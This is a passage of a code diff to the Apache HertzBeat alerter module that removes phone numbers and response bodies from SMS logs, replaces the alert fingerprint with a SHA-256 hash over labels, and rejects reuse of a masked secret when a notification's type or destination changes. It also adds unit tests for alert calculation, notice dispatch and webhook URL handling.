+                JsonNode codeNode = sendStatusSet.get(0).get("Code");
+                if (codeNode == null) {
+                    throw SmsFailureMessages.invalidResponse("Tencent Cloud SMS");
+                }
+                String code = codeNode.asText();
+                if (!RESPONSE_OK.equals(code)) {
+                    throw SmsFailureMessages.providerCode("Tencent Cloud SMS", code);
+                }
+                log.info("Successfully sent SMS via Tencent Cloud");
             }
+        } catch (SendMessageException e) {
+            log.warn("Failed to send SMS via Tencent Cloud");
+            throw e;
         } catch (Exception e) {
-            log.warn("Failed to send SMS: {}", e.getMessage());
-            throw new SendMessageException(e.getMessage());
+            log.warn("Failed to send SMS via Tencent Cloud, failure type: {}",
+                    e.getClass().getSimpleName());
+            throw SmsFailureMessages.requestFailed("Tencent Cloud SMS");
         }
     }
 

hertzbeat-alerter/src/main/java/org/apache/hertzbeat/alert/service/impl/TwilioSmsClientImpl.java

@@ -97,11 +97,15 @@ public class TwilioSmsClientImpl implements SmsClient {
             URI requestUri = new URI(endpoint);
 
             HttpPost httpPost = createHttpPost(requestUri, phoneNumber, message);
-            log.info("Sending Twilio SMS request to {}", requestUri);
-            executeRequest(httpClient, httpPost, phoneNumber);
+            log.debug("Sending SMS request via Twilio");
+            executeRequest(httpClient, httpPost);
+        } catch (SendMessageException e) {
+            log.warn("Failed to send SMS via Twilio");
+            throw e;
         } catch (Exception e) {
-            log.warn("Failed to send SMS: {}", e.getMessage());
-            throw new SendMessageException(e.getMessage());
+            log.warn("Failed to send SMS via Twilio, failure type: {}",
+                    e.getClass().getSimpleName());
+            throw SmsFailureMessages.requestFailed("Twilio SMS");
         }
     }
 
@@ -121,41 +125,36 @@ public class TwilioSmsClientImpl implements SmsClient {
             httpPost.setEntity(new UrlEncodedFormEntity(parameters));
             return httpPost;
         } catch (Exception e) {
-            log.error("Failed to create HTTP request: {}", e.getMessage());
-            throw new SendMessageException(e.getMessage());
+            log.warn("Failed to create Twilio SMS request, failure type: {}",
+                    e.getClass().getSimpleName());
+            throw SmsFailureMessages.requestFailed("Twilio SMS");
         }
     }
 
-    private void executeRequest(CloseableHttpClient httpClient, HttpPost httpPost, String phoneNumber)
-            throws Exception {
+    private void executeRequest(CloseableHttpClient httpClient, HttpPost httpPost) throws Exception {
         try (CloseableHttpResponse response = httpClient.execute(httpPost)) {
             int statusCode = response.getStatusLine().getStatusCode();
             String responseBody = EntityUtils.toString(response.getEntity());
-            log.info("SMS response status: {}, body: {}", statusCode, responseBody);
+            log.debug("Twilio SMS response status: {}", statusCode);
 
             if (statusCode < 200 || statusCode >= 300) {
-
                 if (responseBody.contains("21608")) {
-                    throw new SendMessageException(
-                            "The Twilio trial account can only send SMS to verified phone numbers");
-                } else {
-                    throw new SendMessageException(
-                            "HTTP request failed with status code: " + statusCode + ", response: " + responseBody);
+                    throw SmsFailureMessages.providerCode("Twilio SMS", "21608");
                 }
+                throw SmsFailureMessages.httpStatus("Twilio SMS", statusCode);
             }
 
             JsonNode jsonResponse = JsonUtil.fromJson(responseBody);
             if (jsonResponse == null) {
-                throw new SendMessageException(statusCode + ":" + responseBody);
+                throw SmsFailureMessages.invalidResponse("Twilio SMS");
             }
 
             JsonNode sidNode = jsonResponse.get("sid");
             if (sidNode == null) {
-                throw new SendMessageException(statusCode + ":" + responseBody);
+                throw SmsFailureMessages.invalidResponse("Twilio SMS");
             }
 
-            String sid = sidNode.asText();
-            log.info("Successfully sent SMS to phone: {}, sid: {}", phoneNumber, sid);
+            log.info("Successfully sent SMS via Twilio");
         }
     }
 

hertzbeat-alerter/src/main/java/org/apache/hertzbeat/alert/service/impl/UniSmsClientImpl.java

@@ -102,14 +102,17 @@ public class UniSmsClientImpl implements SmsClient {
             String payload = JsonUtil.toJson(params);
             httpPost.setEntity(new StringEntity(payload, StandardCharsets.UTF_8));
 
-            log.info("Sending SMS request to UniSMS, payload: {}, url: {}", payload, url);
+            log.debug("Sending SMS request via UniSMS");
 
             try (CloseableHttpResponse response = httpClient.execute(httpPost)) {
-                handleResponse(response, receiver.getPhone());
+                handleResponse(response);
             }
+        } catch (SendMessageException e) {
+            log.warn("Failed to send SMS via UniSMS");
+            throw e;
         } catch (Exception e) {
-            log.error("Failed to send SMS via UniSMS: {}", e.getMessage());
-            throw new SendMessageException(e.getMessage());
+            log.warn("Failed to send SMS via UniSMS, failure type: {}", e.getClass().getSimpleName());
+            throw SmsFailureMessages.requestFailed("UniSMS");
         }
     }
 
@@ -145,24 +148,26 @@ public class UniSmsClientImpl implements SmsClient {
         return UUID.randomUUID().toString().replace("-", "").substring(0, 16);
     }
 
-    private void handleResponse(CloseableHttpResponse response, String phone) throws IOException {
+    private void handleResponse(CloseableHttpResponse response) throws IOException {
         int statusCode = response.getStatusLine().getStatusCode();
         String responseBody = EntityUtils.toString(response.getEntity());
 
-        log.info("UniSMS response status: {}, body: {}", statusCode, responseBody);
+        log.debug("UniSMS response status: {}", statusCode);
 
         if (statusCode != 200) {
-            throw new SendMessageException("HTTP request failed with status code: " + statusCode + ", response: " + responseBody);
+            throw SmsFailureMessages.httpStatus("UniSMS", statusCode);
         }
 
         JsonNode jsonResponse = JsonUtil.fromJson(responseBody);
+        if (jsonResponse == null || jsonResponse.get("code") == null) {
+            throw SmsFailureMessages.invalidResponse("UniSMS");
+        }
         String code = jsonResponse.get("code").asText();
         if (!SUCCESS_CODE.equals(code)) {
-            String message = jsonResponse.get("message").asText();
-            throw new SendMessageException(code + ":" + message);
+            throw SmsFailureMessages.providerCode("UniSMS", code);
         }
 
-        log.info("Successfully sent SMS to phone: {}", phone);
+        log.info("Successfully sent SMS via UniSMS");
     }
 
     @Override

hertzbeat-alerter/src/main/java/org/apache/hertzbeat/alert/service/impl/ZabbixExternAlertServiceImpl.java

@@ -42,6 +42,7 @@ public class ZabbixExternAlertServiceImpl implements ExternAlertService {
             log.warn("parse extern alert content failed! content: {}", content);
             return;
         }
+        alert.setId(null);
         alarmCommonReduce.reduceAndSendAlarm(alert);
     }
 

hertzbeat-alerter/src/main/java/org/apache/hertzbeat/alert/util/AlertUtil.java

@@ -17,10 +17,8 @@
 
 package org.apache.hertzbeat.alert.util;
 
-import java.util.Arrays;
-import java.util.List;
+import java.util.Comparator;
 import java.util.Map;
-import java.util.Objects;
 
 /**
  * alert util
@@ -28,13 +26,31 @@ import java.util.Objects;
 public class AlertUtil {
 
     /**
-     * calculate fingerprint
-     * @param fingerPrints finger prints
+     * Calculate an in-memory alert cache coordinate.
+     *
+     * <p>This value is rebuilt from persisted alert labels when the process
+     * starts. It is not the durable {@code SingleAlert.fingerprint} used by
+     * persistence, grouping, silence, or inhibition.</p>
+     *
+     * @param fingerPrints labels used by the calculator cache
+     * @return deterministic cache coordinate
      */
     public static String calculateFingerprint(Map<String, String> fingerPrints) {
-        List<String> keyList = fingerPrints.keySet().stream().filter(Objects::nonNull).sorted().toList();
-        List<String> valueList = fingerPrints.values().stream().filter(Objects::nonNull).sorted().toList();
-        return Arrays.hashCode(keyList.toArray(new String[0])) + "-"
-                + Arrays.hashCode(valueList.toArray(new String[0]));
+        StringBuilder canonicalLabels = new StringBuilder();
+        fingerPrints.entrySet().stream()
+                .sorted(Map.Entry.comparingByKey(Comparator.nullsFirst(Comparator.naturalOrder())))
+                .forEach(entry -> {
+                    appendLengthPrefixed(canonicalLabels, entry.getKey());
+                    appendLengthPrefixed(canonicalLabels, entry.getValue());
+                });
+        return CryptoUtils.sha256Hex(canonicalLabels.toString());
+    }
+
+    private static void appendLengthPrefixed(StringBuilder target, String value) {
+        if (value == null) {
+            target.append("-1:");
+            return;
+        }
+        target.append(value.length()).append(':').append(value);
     }
 }

hertzbeat-alerter/src/main/java/org/apache/hertzbeat/alert/util/NoticeReceiverMaskUtil.java

@@ -18,6 +18,7 @@
 package org.apache.hertzbeat.alert.util;
 
 import java.util.List;
+import java.util.Objects;
 import java.util.function.BiConsumer;
 import java.util.function.Function;
 import org.apache.commons.lang3.StringUtils;
@@ -92,6 +93,7 @@ public final class NoticeReceiverMaskUtil {
      * A re-entered secret or a cleared field is left untouched.
      * @param incoming receiver submitted by the ui, modified in place
      * @param existing receiver currently stored in the database
+     * @throws IllegalArgumentException if a submitted mask does not match the stored secret
      */
     public static void resolveMask(NoticeReceiver incoming, NoticeReceiver existing) {
         if (incoming == null || existing == null) {
@@ -102,15 +104,72 @@ public final class NoticeReceiverMaskUtil {
             String stored = field.getter().apply(existing);
             if (isMaskOf(submitted, stored)) {
                 field.setter().accept(incoming, stored);
+            } else if (isMaskValue(submitted)) {
+                throw new IllegalArgumentException(
+                        "The submitted secret mask does not match the stored secret.");
             }
         }
     }
 
+    /**
+     * Resolve masked secrets for a test message while binding them to their persisted destination.
+     * A caller that changes the notification type or a URL receiving authentication data
+     * must submit the new secret explicitly instead of reusing a stored secret mask.
+     * @param incoming receiver submitted for a test message, modified in place
+     * @param existing receiver currently stored in the database
+     * @throws IllegalArgumentException if a masked secret is combined with a changed destination
+     */
+    public static void resolveMaskForTest(NoticeReceiver incoming, NoticeReceiver existing) {
+        if (incoming == null || existing == null) {
+            return;
+        }
+
+        boolean containsStoredSecretMask = SECRET_FIELDS.stream()
+                .anyMatch(field -> isMaskOf(field.getter().apply(incoming), field.getter().apply(existing)));
+        if (containsStoredSecretMask && !Objects.equals(incoming.getType(), existing.getType())) {
+            throw new IllegalArgumentException(
+                    "The notification type cannot be changed when reusing a masked secret.");
+        }
+        rejectChangedSecretDestination(
+                incoming.getHookAuthToken(),
+                existing.getHookAuthToken(),
+                incoming.getHookUrl(),
+                existing.getHookUrl(),
+                "webhook URL");
+        rejectChangedSecretDestination(
+                incoming.getNtfyToken(),
+                existing.getNtfyToken(),
+                incoming.getNtfyServerUrl(),
+                existing.getNtfyServerUrl(),
+                "ntfy server URL");
+        resolveMask(incoming, existing);
+    }
+
+    private static void rejectChangedSecretDestination(
+            String submittedSecret,
+            String storedSecret,
+            String submittedDestination,
+            String storedDestination,
+            String destinationName) {
+        if (isMaskOf(submittedSecret, storedSecret)
+                && !Objects.equals(submittedDestination, storedDestination)) {
+            throw new IllegalArgumentException(
+                    "The " + destinationName + " cannot be changed when reusing a masked secret.");
+        }
+    }
+
     private static boolean isMaskOf(String submitted, String stored) {
         if (submitted == null || StringUtils.isBlank(stored)) {
             return false;
         }
-        return submitted.equals(SECRET_MASK) || submitted.equals(maskValue(stored));
+        return submitted.equals(maskValue(stored));
+    }
+
+    private static boolean isMaskValue(String value) {
+        return value != null
+                && value.startsWith(SECRET_MASK)
+                && (value.length() == SECRET_MASK.length()
+                    || value.length() == SECRET_MASK.length() + VISIBLE_SUFFIX_LENGTH);
     }
 
     private static String maskValue(String value) {

hertzbeat-alerter/src/test/java/org/apache/hertzbeat/alert/calculate/AlarmCacheManagerTest.java

@@ -34,6 +34,7 @@ import java.util.Map;
 import static org.junit.jupiter.api.Assertions.assertEquals;
 import static org.junit.jupiter.api.Assertions.assertNotNull;
 import static org.junit.jupiter.api.Assertions.assertNull;
+import static org.junit.jupiter.api.Assertions.assertSame;
 import static org.mockito.Mockito.when;
 
 /**
@@ -132,4 +133,28 @@ public class AlarmCacheManagerTest {
         historicalSingleAlert = alarmCacheManager.getFiring(4L, fingerprint);
         assertNull(historicalSingleAlert);
     }
-}
+
+    @Test
+    void restartShouldRebuildCacheKeyWithoutChangingPersistedFingerprint() {
+        Map<String, String> labels = Map.of(
+                CommonConstants.LABEL_DEFINE_ID, "7",
+                CommonConstants.LABEL_ALERT_NAME, "disk_full",
+                "instance", "db-1");
+        SingleAlert persistedAlert = SingleAlert.builder()
+                .id(99L)
+                .fingerprint("alertname:disk_full,define_id:7,instance:db-1")
+                .labels(labels)
+                .status(CommonConstants.ALERT_STATUS_FIRING)
+                .build();
+        when(singleAlertDao.querySingleAlertsByStatus(CommonConstants.ALERT_STATUS_FIRING))
+                .thenReturn(Collections.singletonList(persistedAlert));
+
+        alarmCacheManager = new AlarmCacheManager(singleAlertDao);
+        String rebuiltCacheKey = AlertUtil.calculateFingerprint(labels);
+        SingleAlert resolved = alarmCacheManager.removeFiring(7L, rebuiltCacheKey);
+
+        assertSame(persistedAlert, resolved);
+        assertEquals("alertname:disk_full,define_id:7,instance:db-1", resolved.getFingerprint());
+        assertNull(alarmCacheManager.getFiring(7L, rebuiltCacheKey));
+    }
+}

hertzbeat-alerter/src/test/java/org/apache/hertzbeat/alert/calculate/realtime/MetricsRealTimeAlertCalculatorMatchTest.java

@@ -27,11 +27,13 @@ import org.apache.hertzbeat.alert.service.AlertDefineService;
 import org.apache.hertzbeat.common.constants.CommonConstants;
 import org.apache.hertzbeat.common.constants.MetricDataConstants;
 import org.apache.hertzbeat.common.entity.alerter.AlertDefine;
+import org.apache.hertzbeat.common.entity.alerter.SingleAlert;
 import org.apache.hertzbeat.common.entity.message.CollectRep;
 import org.apache.hertzbeat.common.queue.CommonDataQueue;
 import org.apache.hertzbeat.common.queue.impl.InMemoryCommonDataQueue;
 import org.junit.jupiter.api.BeforeEach;
 import org.junit.jupiter.api.Test;
+import org.mockito.ArgumentCaptor;
 import org.mockito.Mock;
 import org.mockito.MockitoAnnotations;
 
@@ -43,6 +45,7 @@ import java.util.Map;
 
 import static org.junit.jupiter.api.Assertions.assertEquals;
 import static org.mockito.ArgumentMatchers.any;
+import static org.mockito.Mockito.never;
 import static org.mockito.Mockito.times;
 import static org.mockito.Mockito.verify;
 import static org.mockito.Mockito.when;
@@ -254,4 +257,89 @@ public class MetricsRealTimeAlertCalculatorMatchTest {
         verify(alarmCommonReduce, times(1)).reduceAndSendAlarm(any());
     }
 
+    @Test
+    void testEmptyStringFieldStillTriggersAlert() throws InterruptedException {
+        CollectRep.MetricsData.Builder builder = CollectRep.MetricsData.newBuilder();
+        builder.setId(518679137103104L)
+                .setApp("fullsite")
+                .setMetrics("summary")
+                .setPriority(1)
+                .setCode(CollectRep.Code.SUCCESS);
+
+        CollectRep.Field url = CollectRep.Field.newBuilder().setName("url").setType(CommonConstants.TYPE_STRING).setLabel(true).build();
+        CollectRep.Field statusCode = CollectRep.Field.newBuilder().setName("statusCode").setType(CommonConstants.TYPE_STRING).build();
+        CollectRep.Field errorMsg = CollectRep.Field.newBuilder().setName("errorMsg").setType(CommonConstants.TYPE_STRING).build();
+
+        Map<String, String> meta = new HashMap<>();
+        meta.put(MetricDataConstants.INSTANCE_NAME, "site");
+        meta.put(MetricDataConstants.INSTANCE, "127.0.0.1");
+
+        builder.addMetadataAll(meta);
+        builder.addAllFields(Lists.newArrayList(url, statusCode, errorMsg));
+        builder.addValueRow(CollectRep.ValueRow.newBuilder()
+                .addColumn("https://example.com/broken").addColumn("404").addColumn("").build());
+
+        CollectRep.MetricsData metricsData = builder.build();
+
+        AlertDefine matchDefine = new AlertDefine();
+        matchDefine.setId(1L);
+        matchDefine.setName("sitemap-status");
+        matchDefine.setExpr("equals(__app__,\"fullsite\") && !matches(statusCode,\"^2[0-9]+\") && !contains(errorMsg,\"timed out\")");
+        matchDefine.setTemplate("site down: ${url}");
+        matchDefine.setTimes(1);
+
+        when(alertDefineService.getMetricsRealTimeAlertDefines()).thenReturn(Collections.singletonList(matchDefine));
+        when(dataQueue.pollMetricsDataToAlerter()).thenReturn(metricsData).thenThrow(new InterruptedException());
+
+        metricsRealTimeAlertCalculator.startCalculate();
+
+        Thread.sleep(3000);
+
+        ArgumentCaptor<SingleAlert> alertCaptor = ArgumentCaptor.forClass(SingleAlert.class);
+        verify(alarmCommonReduce, times(1)).reduceAndSendAlarm(alertCaptor.capture());
+        assertEquals("site down: https://example.com/broken", alertCaptor.getValue().getContent());
+    }
+
+    @Test
+    void testUnparseableNumberFieldDoesNotAbortRule() throws InterruptedException {
+        CollectRep.MetricsData.Builder builder = CollectRep.MetricsData.newBuilder();
+        builder.setId(518679137103105L)
+                .setApp("fullsite")
+                .setMetrics("summary")
+                .setPriority(1)
+                .setCode(CollectRep.Code.SUCCESS);
+
+        CollectRep.Field url = CollectRep.Field.newBuilder().setName("url").setType(CommonConstants.TYPE_STRING).setLabel(true).build();
+        CollectRep.Field responseTime = CollectRep.Field.newBuilder().setName("responseTime").setType(CommonConstants.TYPE_NUMBER).build();
+
+        Map<String, String> meta = new HashMap<>();
+        meta.put(MetricDataConstants.INSTANCE_NAME, "site");
+        meta.put(MetricDataConstants.INSTANCE, "127.0.0.1");
+
+        builder.addMetadataAll(meta);
+        builder.addAllFields(Lists.newArrayList(url, responseTime));
+        builder.addValueRow(CollectRep.ValueRow.newBuilder()
+                .addColumn("https://example.com/a").addColumn("").build());
+
+        CollectRep.MetricsData metricsData = builder.build();
+
+        AlertDefine guardedDefine = new AlertDefine();
+        guardedDefine.setId(2L);
+        guardedDefine.setName("slow-site");
+        guardedDefine.setExpr("equals(__app__,\"fullsite\") && exists(responseTime) && responseTime > 100");
+        guardedDefine.setTemplate("slow: ${url}");
+        guardedDefine.setTimes(1);
+
+        when(alertDefineService.getMetricsRealTimeAlertDefines()).thenReturn(Collections.singletonList(guardedDefine));
+        when(dataQueue.pollMetricsDataToAlerter()).thenReturn(metricsData).thenThrow(new InterruptedException());
+
+        metricsRealTimeAlertCalculator.startCalculate();
+
+        Thread.sleep(3000);
+
+        // unparseable number is defined as null: exists() short-circuits to false, no alarm and no abort
+        verify(alarmCommonReduce, never()).reduceAndSendAlarm(any());
+        verify(alarmCacheManager, times(1)).removeFiring(any(), any());
+    }
+
 }

hertzbeat-alerter/src/test/java/org/apache/hertzbeat/alert/notice/AlertNoticeDispatchTest.java

@@ -17,31 +17,38 @@
 
 package org.apache.hertzbeat.alert.notice;
 
+import static org.junit.jupiter.api.Assertions.assertEquals;
 import static org.junit.jupiter.api.Assertions.assertFalse;
+import static org.junit.jupiter.api.Assertions.assertAll;
 import static org.junit.jupiter.api.Assertions.assertTrue;
 import static org.mockito.ArgumentMatchers.any;
 import static org.mockito.ArgumentMatchers.anyByte;
 import static org.mockito.ArgumentMatchers.eq;
 import static org.mockito.Mockito.doAnswer;
 import static org.mockito.Mockito.doNothing;
+import static org.mockito.Mockito.times;
 import static org.mockito.Mockito.verify;
 import static org.mockito.Mockito.when;
 
+import java.time.LocalDateTime;
 import java.util.Collections;
 import java.util.List;
+import java.util.Map;
 import org.apache.hertzbeat.alert.AlerterWorkerPool;
 import org.apache.hertzbeat.alert.config.AlertSseManager;
 import org.apache.hertzbeat.alert.service.NoticeConfigService;
 import org.apache.hertzbeat.common.entity.alerter.GroupAlert;
 import org.apache.hertzbeat.common.entity.alerter.NoticeReceiver;
+import org.apache.hertzbeat.common.entity.alerter.NoticeRule;
+import org.apache.hertzbeat.common.entity.alerter.NoticeTemplate;
+import org.apache.hertzbeat.common.entity.alerter.SingleAlert;
 import org.apache.hertzbeat.plugin.runner.PluginRunner;
 import org.junit.jupiter.api.BeforeEach;
 import org.junit.jupiter.api.Test;
 import org.junit.jupiter.api.extension.ExtendWith;
+import org.mockito.ArgumentCaptor;
 import org.mockito.Mock;
 import org.mockito.junit.jupiter.MockitoExtension;
-import org.apache.hertzbeat.common.entity.alerter.SingleAlert;
-import org.apache.hertzbeat.common.entity.alerter.NoticeTemplate;
 
 /**
  * Test case for Alert Notice Dispatch
@@ -180,4 +187,155 @@ class AlertNoticeDispatchTest {
         verify(alertNotifyHandler).send(eq(receiver), eq(template), eq(alert));
         verify(emitterManager).broadcast(any(String.class));
     }
+
+    @Test
+    void testDispatchAlarmRecomputesNoticeFromAlertsMatchingRuleLabels() {
+        LocalDateTime matchingCreated = LocalDateTime.of(2026, 7, 30, 10, 0);
+        LocalDateTime matchingUpdated = LocalDateTime.of(2026, 7, 30, 10, 5);
+        SingleAlert matchingAlert = SingleAlert.builder()
+                .fingerprint("matching")
+                .labels(Map.of("department", "algorithm", "service", "checkout", "severity", "warning"))
+                .annotations(Map.of("summary", "algorithm summary", "runbook", "shared runbook"))
+                .content("matching-content")
+                .status("resolved")
+                .gmtCreate(matchingCreated)
+                .gmtUpdate(matchingUpdated)
+                .build();
+        SingleAlert unrelatedAlert = SingleAlert.builder()
+                .fingerprint("unrelated")
+                .labels(Map.of("department", "infra", "service", "checkout", "severity", "critical"))
+                .annotations(Map.of("summary", "infra summary", "runbook", "shared runbook"))
+                .content("unrelated-content")
+                .status("firing")
+                .gmtCreate(matchingCreated.minusHours(1))
+                .gmtUpdate(matchingUpdated.plusHours(1))
+                .build();
+        GroupAlert groupedAlert = GroupAlert.builder()
+                .id(2L)
+                .groupKey("department:infra,service:checkout")
+                .status("firing")
+                .groupLabels(Map.of("department", "infra", "service", "checkout"))
+                .commonLabels(Map.of("service", "checkout"))
+                .commonAnnotations(Map.of("runbook", "shared runbook"))
+                .alertFingerprints(List.of("matching", "unrelated"))
+                .gmtCreate(matchingCreated.minusHours(1))
+                .gmtUpdate(matchingUpdated.plusHours(1))
+                .alerts(List.of(matchingAlert, unrelatedAlert))
+                .build();
+        NoticeTemplate template = NoticeTemplate.builder().id(1L).build();
+        NoticeRule rule = NoticeRule.builder()
+                .filterAll(false)
+                .labels(Map.of("department", "algorithm"))
+                .receiverId(List.of(1L))
+                .templateId(1L)
+                .build();
+
+        when(alertStoreHandler.store(groupedAlert)).thenReturn(groupedAlert);
+        when(noticeConfigService.getReceiverFilterRule(groupedAlert)).thenReturn(List.of(rule));
+        when(noticeConfigService.getReceiverById(1L)).thenReturn(receiver);
+        when(noticeConfigService.getOneTemplateById(1L)).thenReturn(template);
+        doAnswer(invocation -> {
+            Runnable task = invocation.getArgument(1);
+            task.run();
+            return null;
+        }).when(workerPool).executeNotify(anyByte(), any(Runnable.class));
+
+        alertNoticeDispatch.dispatchAlarm(groupedAlert);
+
+        ArgumentCaptor<GroupAlert> noticeAlert = ArgumentCaptor.forClass(GroupAlert.class);
+        verify(alertNotifyHandler).send(eq(receiver), eq(template), noticeAlert.capture());
+        GroupAlert scopedAlert = noticeAlert.getValue();
+        assertAll(
+                () -> assertEquals(List.of(matchingAlert), scopedAlert.getAlerts()),
+                () -> assertEquals(List.of("matching"), scopedAlert.getAlertFingerprints()),
+                () -> assertEquals("resolved", scopedAlert.getStatus()),
+                () -> assertEquals(
+                        Map.of("department", "algorithm", "service", "checkout"),
+                        scopedAlert.getGroupLabels()),
+                () -> assertEquals(
+                        Map.of("department", "algorithm", "service", "checkout", "severity", "warning"),
+                        scopedAlert.getCommonLabels()),
+                () -> assertEquals(
+                        Map.of("summary", "algorithm summary", "runbook", "shared runbook"),
+                        scopedAlert.getCommonAnnotations()),
+                () -> assertEquals("department:algorithm,service:checkout", scopedAlert.getGroupKey()),
+                () -> assertEquals(matchingCreated, scopedAlert.getGmtCreate()),
+                () -> assertEquals(matchingUpdated, scopedAlert.getGmtUpdate()),
+                () -> assertEquals(2, groupedAlert.getAlerts().size()),
+                () -> assertEquals("firing", groupedAlert.getStatus()),
+                () -> assertEquals(Map.of("service", "checkout"), groupedAlert.getCommonLabels()));
+    }
+
+    @Test
+    void testDispatchAlarmScopesMultipleRulesForTheSameReceiverIndependently() {
+        SingleAlert algorithmAlert = SingleAlert.builder()
+                .fingerprint("algorithm")
+                .labels(Map.of("department", "algorithm", "service", "checkout"))
+                .annotations(Map.of("summary", "algorithm firing", "runbook", "algorithm runbook"))
+                .status("firing")
+                .build();
+        SingleAlert algorithmResolvedAlert = SingleAlert.builder()
+                .fingerprint("algorithm-resolved")
+                .labels(Map.of("department", "algorithm", "service", "checkout"))
+                .annotations(Map.of("summary", "algorithm resolved", "runbook", "algorithm runbook"))
+                .status("resolved")
+                .build();
+        SingleAlert infrastructureAlert = SingleAlert.builder()
+                .fingerprint("infra")
+                .labels(Map.of("department", "infra", "service", "checkout"))
+                .annotations(Map.of("summary", "infra summary"))
+                .status("resolved")
+                .build();
+        GroupAlert groupedAlert = GroupAlert.builder()
+                .status("firing")
+                .groupLabels(Map.of("service", "checkout"))
+                .alerts(List.of(algorithmAlert, algorithmResolvedAlert, infrastructureAlert))
+                .build();
+        NoticeTemplate algorithmTemplate = NoticeTemplate.builder().id(1L).build();
+        NoticeTemplate infrastructureTemplate = NoticeTemplate.builder().id(2L).build();
+        NoticeRule algorithmRule = NoticeRule.builder()
+                .filterAll(false)
+                .labels(Map.of("department", "algorithm"))
+                .receiverId(List.of(1L))
+                .templateId(1L)
+                .build();
+        NoticeRule infrastructureRule = NoticeRule.builder()
+                .filterAll(false)
+                .labels(Map.of("department", "infra"))
+                .receiverId(List.of(1L))
+                .templateId(2L)
+                .build();
+
+        when(alertStoreHandler.store(groupedAlert)).thenReturn(groupedAlert);
+        when(noticeConfigService.getReceiverFilterRule(groupedAlert))
+                .thenReturn(List.of(algorithmRule, infrastructureRule));
+        when(noticeConfigService.getReceiverById(1L)).thenReturn(receiver);
+        when(noticeConfigService.getOneTemplateById(1L)).thenReturn(algorithmTemplate);
+        when(noticeConfigService.getOneTemplateById(2L)).thenReturn(infrastructureTemplate);
+        doAnswer(invocation -> {
+            Runnable task = invocation.getArgument(1);
+            task.run();
+            return null;
+        }).when(workerPool).executeNotify(anyByte(), any(Runnable.class));
+
+        alertNoticeDispatch.dispatchAlarm(groupedAlert);
+
+        ArgumentCaptor<NoticeTemplate> templates = ArgumentCaptor.forClass(NoticeTemplate.class);
+        ArgumentCaptor<GroupAlert> alerts = ArgumentCaptor.forClass(GroupAlert.class);
+        verify(alertNotifyHandler, times(2)).send(eq(receiver), templates.capture(), alerts.capture());
+        assertAll(
+                () -> assertEquals(List.of(algorithmTemplate, infrastructureTemplate), templates.getAllValues()),
+                () -> assertEquals(
+                        List.of("algorithm", "algorithm-resolved"),
+                        alerts.getAllValues().get(0).getAlertFingerprints()),
+                () -> assertEquals(List.of("infra"), alerts.getAllValues().get(1).getAlertFingerprints()),
+                () -> assertEquals("firing", alerts.getAllValues().get(0).getStatus()),
+                () -> assertEquals("resolved", alerts.getAllValues().get(1).getStatus()),
+                () -> assertEquals(
+                        Map.of("runbook", "algorithm runbook"),
+                        alerts.getAllValues().get(0).getCommonAnnotations()),
+                () -> assertEquals(
+                        Map.of("summary", "infra summary"),
+                        alerts.getAllValues().get(1).getCommonAnnotations()));
+    }
 }

hertzbeat-alerter/src/test/java/org/apache/hertzbeat/alert/notice/impl/DbAlertStoreHandlerImplTest.java

@@ -18,6 +18,8 @@
 package org.apache.hertzbeat.alert.notice.impl;
 
 import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertSame;
+import static org.junit.jupiter.api.Assertions.assertTrue;
 import static org.mockito.ArgumentMatchers.any;
 import static org.mockito.Mockito.never;
 import static org.mockito.Mockito.verify;
@@ -33,7 +35,9 @@ import org.mockito.InjectMocks;
 import org.mockito.Mock;
 import org.mockito.junit.jupiter.MockitoExtension;
 import java.util.ArrayList;
+import java.util.HashSet;
 import java.util.List;
+import java.util.Set;
 
 /**
  * Test case for {@link DbAlertStoreHandlerImpl}
@@ -122,4 +126,17 @@ class DbAlertStoreHandlerImplTest {
         assertEquals(1L, groupAlert.getId());
     }
 
+    @Test
+    void usesBoundedLocksForExternalKeys() {
+        int stripeCount = DbAlertStoreHandlerImpl.LOCK_STRIPE_COUNT;
+        Object firstLock = DbAlertStoreHandlerImpl.lockFor("same-key");
+        assertSame(firstLock, DbAlertStoreHandlerImpl.lockFor("same-key"));
+
+        Set<Object> locks = new HashSet<>();
+        for (int index = 0; index < stripeCount * 4; index++) {
+            locks.add(DbAlertStoreHandlerImpl.lockFor("external-key-" + index));
+        }
+        assertTrue(locks.size() <= stripeCount);
+    }
+
 }

hertzbeat-alerter/src/test/java/org/apache/hertzbeat/alert/notice/impl/WebHookAlertNotifyHandlerImplTest.java

@@ -37,11 +37,17 @@ import org.mockito.Mock;
 import org.mockito.junit.jupiter.MockitoExtension;
 import org.springframework.http.HttpStatus;
 import org.springframework.http.ResponseEntity;
+import org.springframework.test.util.ReflectionTestUtils;
+import org.springframework.test.web.client.MockRestServiceServer;
 import org.springframework.web.client.RestTemplate;
 
+import static org.springframework.test.web.client.match.MockRestRequestMatchers.requestTo;
+import static org.springframework.test.web.client.response.MockRestResponseCreators.withSuccess;
+
 import java.util.ArrayList;
 import java.util.HashMap;
 import java.util.List;
+import java.net.URI;
 import java.util.ResourceBundle;
 
 /**
@@ -93,7 +99,7 @@ class WebHookAlertNotifyHandlerImplTest {
         ResponseEntity<String> responseEntity = 
             new ResponseEntity<>("null", HttpStatus.OK);
         
-        when(restTemplate.postForEntity(any(String.class), any(), eq(String.class))).thenReturn(responseEntity);
+        when(restTemplate.postForEntity(any(URI.class), any(), eq(String.class))).thenReturn(responseEntity);
         
         webHookAlertNotifyHandler.send(receiver, template, groupAlert);
     }
@@ -103,7 +109,7 @@ class WebHookAlertNotifyHandlerImplTest {
         ResponseEntity<String> responseEntity =
                 new ResponseEntity<>("null", HttpStatus.INTERNAL_SERVER_ERROR);
 
-        when(restTemplate.postForEntity(any(String.class), any(), eq(String.class))).thenReturn(responseEntity);
+        when(restTemplate.postForEntity(any(URI.class), any(), eq(String.class))).thenReturn(responseEntity);
 
 
         assertThrows(AlertNoticeException.class,
@@ -117,11 +123,27 @@ class WebHookAlertNotifyHandlerImplTest {
         ResponseEntity<String> responseEntity =
             new ResponseEntity<>("null", HttpStatus.OK);
 
-        when(restTemplate.postForEntity(eq(receiver.getHookUrl()), any(), eq(String.class))).thenReturn(responseEntity);
+        when(restTemplate.postForEntity(eq(URI.create(receiver.getHookUrl())), any(), eq(String.class))).thenReturn(responseEntity);
 
         webHookAlertNotifyHandler.send(receiver, template, groupAlert);
     }
 
+    @Test
+    public void testHookUrlWithPercentEncodedQuerySentVerbatim() {
+        String hookUrl = "https://example.environment.api.powerplatform.com/workflows/wf1/triggers/manual/paths/invoke"
